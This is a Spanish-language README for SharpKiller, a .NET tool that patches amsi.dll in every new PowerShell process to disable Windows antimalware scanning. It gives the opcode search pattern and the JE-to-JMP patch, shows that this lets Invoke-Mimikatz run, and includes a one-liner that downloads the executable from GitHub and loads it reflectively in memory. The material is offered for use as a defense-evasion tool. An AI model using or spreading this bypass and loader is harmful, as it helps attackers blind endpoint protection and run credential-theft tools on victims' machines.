SharpKiller

Bypass de AMSI de por vida: AMSI-Killer de @ZeroMemoryEx portado a .NET Framework 4.8.

Se requiere ofuscación adicional

https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?Name=VirTool:MSIL/SharpKiller.A&ThreatID=2147895059

Funciones recientemente integradas:

[ x ] - Escaneo en vivo de nuevos procesos de powershell cada 0,5 segundos -> Parchea automáticamente nuevas instancias de powershell

Compilación de la solución

• Establezca su plataforma explícitamente a x64 en Compilar > Administrador de configuraciones

¿Cómo funciona?

Escaneo de opcodes

• Obtenemos la dirección exacta de la instrucción de salto buscando el primer byte de cada instrucción; esta técnica es eficaz incluso ante actualizaciones o modificaciones del conjunto de datos objetivo.

• por ejemplo :

  | 48:85D2 | test rdx, rdx |

  | 74 3F | je amsi.7FFAE957C694 |

  | 48 : 85C9 | test rcx, rcx |

  | 74 3A | je amsi.7FFAE957C694 |

  | 48 : 8379 08 00 | cmp qword ptr ds : [rcx + 8] , 0 |

  | 74 33 | je amsi.7FFAE957C694 |

• el patrón de búsqueda será así :

  { 0x48,'?','?', 0x74,'?',0x48,'?' ,'?' ,0x74,'?' ,0x48,'?' ,'?' ,'?' ,'?',0x74,0x33}

  

Parche

Antes del parche

• El programa compara el valor de RDX consigo mismo. Si la comparación evalúa a 0, el programa ejecuta un salto para retornar. De lo contrario, el programa continúa evaluando la siguiente instrucción.

  

  

• no podemos ejecutar "Invoke-Mimikatz"

  

Después del parche

• Parcheamos el primer byte y lo cambiamos de JE a JMP para que retorne directamente.

  

  

• ahora podemos ejecutar "Invoke-Mimikatz"

Procesos recién creados

• Sharp-Killer parcheará cualquier proceso de Powershell recién creado casi en tiempo real.

Demostración en video

OneLiner para ejecutar con reflection

$url = "https://github.com/S1lkys/SharpKiller/releases/download/1.1/Sharp-Killer.exe"; $cli = New-Object System.Net.WebClient; $sk=[System.Reflection.Assembly]::Load([byte[]]( $cli.DownloadData($url)));$vars = New-Object System.Collections.Generic.List[System.Object];$BindingFlags= [Reflection.BindingFlags] "NonPublic,Static";$sk.EntryPoint.Invoke($null,@(,$passed));

¿Este error ocurre al usar el OneLiner mencionado?

Si alguna vez viste este mensaje y te preguntaste sobre él: ¡bienvenido a la interfaz AMSI de .NET! :-)

Exception calling "Load" with "1" argument(s): "Could not load file or assembly '288768 bytes loaded from Anonymously Hosted DynamicMethods Assembly, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null' or one of its dependencies. An attempt was made to load a program with an incorrect format."

• https://s3cur3th1ssh1t.github.io/Powershell-and-the-.NET-AMSI-Interface/

Referencias:

• https://github.com/ZeroMemoryEx/Amsi-Killer